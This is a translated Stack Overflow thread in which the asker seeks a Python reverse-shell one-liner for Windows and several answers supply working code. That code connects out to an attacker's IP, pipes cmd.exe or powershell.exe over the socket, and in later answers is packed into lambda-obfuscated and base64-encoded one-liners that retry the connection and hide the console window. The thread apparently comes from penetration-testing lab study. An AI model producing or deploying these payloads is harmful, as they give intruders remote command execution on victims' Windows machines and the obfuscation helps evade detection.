Python Windows反向Shell一行代码

7

有人可以帮我提供一个针对Windows的Python反向Shell单行指令吗?(必须是Windows单行指令。)

我试图修改我之前在Linux下使用过多次的指令,但这是我第一次尝试在Windows下实现。

Linux单行指令:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

反向Shell备忘单中获取。
所以这是我目前为止能做的:
C:\Python26\python.exe -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.11.0.232',443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['C:\\WINDOWS\\system32\\cmd.exe','-i']);"

实际上,我确实建立了一条连接,只是终端窗口会突然关闭。有人知道如何解决这个问题或提供一些建议吗?

nc -lvnp 443
listening on [any] 443 ...
connect to [10.11.0.232] from (UNKNOWN) [10.11.1.31] 1036

所以,subprocess call 的参数必须错误。我似乎无法正确设置它。 cmd.exe 的路径是正确的。我无法在cmd man page中看到任何类似于-i的对应参数。
请问有人能指导我正确的方向吗?
编辑:尝试使用没有参数的subprocess call,但仍然得到相同的结果。连接会立即中断。
C:\Python26\python.exe -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.11.0.232',443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['C:\WINDOWS\system32\cmd.exe']);"

虽然您希望这是一个反向 shell,但这是一个纯 Python 编程问题。正在迁移。 - schroeder
@korockinout13同意了;我看了看这个人,但是我想知道我应该使用什么来获取反向shell。 - rockstar
@korockinout13 是的,我试过了。我能够连接上,但是很快就断开了。 - rockstar
1
你是在使用Cygwin吗?因为socket.fileno()的返回值不能在Windows上使用 - user3657941
@DavidCullen 我不是在 Cygwin 下进行这个操作。 - rockstar
4个回答

8

(@rockstar:我觉得你和我正在学习同样的东西!)

虽然不是一行命令,但在学习David Cullen的答案后,我编写了一个适用于Windows的反向shell。

import os,socket,subprocess,threading;
def s2p(s, p):
    while True:
        data = s.recv(1024)
        if len(data) > 0:
            p.stdin.write(data)
            p.stdin.flush()

def p2s(s, p):
    while True:
        s.send(p.stdout.read(1))

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.11.0.37",4444))

p=subprocess.Popen(["\\windows\\system32\\cmd.exe"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)

s2p_thread = threading.Thread(target=s2p, args=[s, p])
s2p_thread.daemon = True
s2p_thread.start()

p2s_thread = threading.Thread(target=p2s, args=[s, p])
p2s_thread.daemon = True
p2s_thread.start()

try:
    p.wait()
except KeyboardInterrupt:
    s.close()

如果有人能将其简化为一行,请随意编辑我的帖子或将其改编为您自己的答案...

1
一个丑陋的方法将其变成一行代码是将引号放在所有内容周围,用\n替换换行符并将所有内容包装在exec()中。 - user9123

3
socket.fileno()的文档 中可以看到:
在Windows下,此方法返回的小整数不能用于可以使用文件描述符的地方(例如os.fdopen())。Unix没有这个限制。
我认为你不能在Windows上使用os.dup2()来处理socket.fileno()的返回值,除非你使用Cygwin。
我认为在Windows上你不能将其作为一行代码来执行,因为你需要一个带有多个语句的while循环。

1
谢谢。你知道我应该用什么代替吗? - rockstar

2

根据您部署一行代码的方式,您可能需要像下面的代码示例中所示指定python.exe的路径。希望这能帮到您。

C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"


1

基于Mark E. Haase的回答,这是我的改进版本[645个字符],其中:

  • 更小(线程现在是单行的,尽可能多的语句在一行上)
  • 不会打开一个新的命令窗口(shell=True)
  • 支持通用换行符(text=True)
  • 如果远程主机还没有联机,则等待其联机(while True: try/except)
  • 更可靠(p.stdin.flush()这意味着stdin缓冲区不需要填满就可以执行命令)
import os, socket, subprocess, threading, sys

def s2p(s, p):
    while True:p.stdin.write(s.recv(1024).decode()); p.stdin.flush()

def p2s(s, p):
    while True: s.send(p.stdout.read(1).encode())

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while True:
    try: s.connect((<IP ADDR>, <PORT NUMBER>)); break
    except: pass

p=subprocess.Popen(["powershell.exe"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell=True, text=True)

threading.Thread(target=s2p, args=[s,p], daemon=True).start()

threading.Thread(target=p2s, args=[s,p], daemon=True).start()

try: p.wait()
except: s.close(); sys.exit(0)

或者作为(非常丑陋的)一行代码[663个字符]:
exec("""import os, socket, subprocess, threading, sys\ndef s2p(s, p):\n    while True:p.stdin.write(s.recv(1024).decode()); p.stdin.flush()\ndef p2s(s, p):\n    while True: s.send(p.stdout.read(1).encode())\ns=socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nwhile True:\n    try: s.connect((<IP ADDR>, <PORT NUMBER>)); break\n    except: pass\np=subprocess.Popen(["powershell.exe"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell=True, text=True)\nthreading.Thread(target=s2p, args=[s,p], daemon=True).start()\nthreading.Thread(target=p2s, args=[s,p], daemon=True).start()\ntry: p.wait()\nexcept: s.close(); sys.exit(0)""")

作为一个混淆的单行代码(尽管这不能直接使用,因为IP地址必须更改)[892个字符]:
import base64;exec(base64.b64decode("aW1wb3J0IG9zLCBzb2NrZXQsIHN1YnByb2Nlc3MsIHRocmVhZGluZywgc3lzCmRlZiBzMnAocywgcCk6CiAgICB3aGlsZSBUcnVlOnAuc3RkaW4ud3JpdGUocy5yZWN2KDEwMjQpLmRlY29kZSgpKTsgcC5zdGRpbi5mbHVzaCgpCmRlZiBwMnMocywgcCk6CiAgICB3aGlsZSBUcnVlOiBzLnNlbmQocC5zdGRvdXQucmVhZCgxKS5lbmNvZGUoKSkKcz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCndoaWxlIFRydWU6CiAgICB0cnk6IHMuY29ubmVjdCgoc3lzLmFyZ3ZbMV0sIGludChzeXMuYXJndlsyXSkpKTsgYnJlYWsKICAgIGV4Y2VwdDogcGFzcwpwPXN1YnByb2Nlc3MuUG9wZW4oWyJwb3dlcnNoZWxsLmV4ZSJdLCBzdGRvdXQ9c3VicHJvY2Vzcy5QSVBFLCBzdGRlcnI9c3VicHJvY2Vzcy5TVERPVVQsIHN0ZGluPXN1YnByb2Nlc3MuUElQRSwgc2hlbGw9VHJ1ZSwgdGV4dD1UcnVlKQp0aHJlYWRpbmcuVGhyZWFkKHRhcmdldD1zMnAsIGFyZ3M9W3MscF0sIGRhZW1vbj1UcnVlKS5zdGFydCgpCnRocmVhZGluZy5UaHJlYWQodGFyZ2V0PXAycywgYXJncz1bcyxwXSwgZGFlbW9uPVRydWUpLnN0YXJ0KCkKdHJ5OiBwLndhaXQoKQpleGNlcHQ6IHMuY2xvc2UoKTsgc3lzLmV4aXQoMCk="))

它可以直接在命令行中使用,如下所示:
python -c 'exec("""import os, socket, subprocess, threading, sys\ndef s2p(s, p):\n    while True:p.stdin.write(s.recv(1024).decode()); p.stdin.flush()\ndef p2s(s, p):\n    while True: s.send(p.stdout.read(1).encode())\ns=socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nwhile True:\n    try: s.connect((<IP ADDR>, <PORT NUMBER>)); break\n    except: pass\np=subprocess.Popen(["powershell.exe"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell=True, text=True)\nthreading.Thread(target=s2p, args=[s,p], daemon=True).start()\nthreading.Thread(target=p2s, args=[s,p], daemon=True).start()\ntry: p.wait()\nexcept: s.close(); sys.exit(0)""")'

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接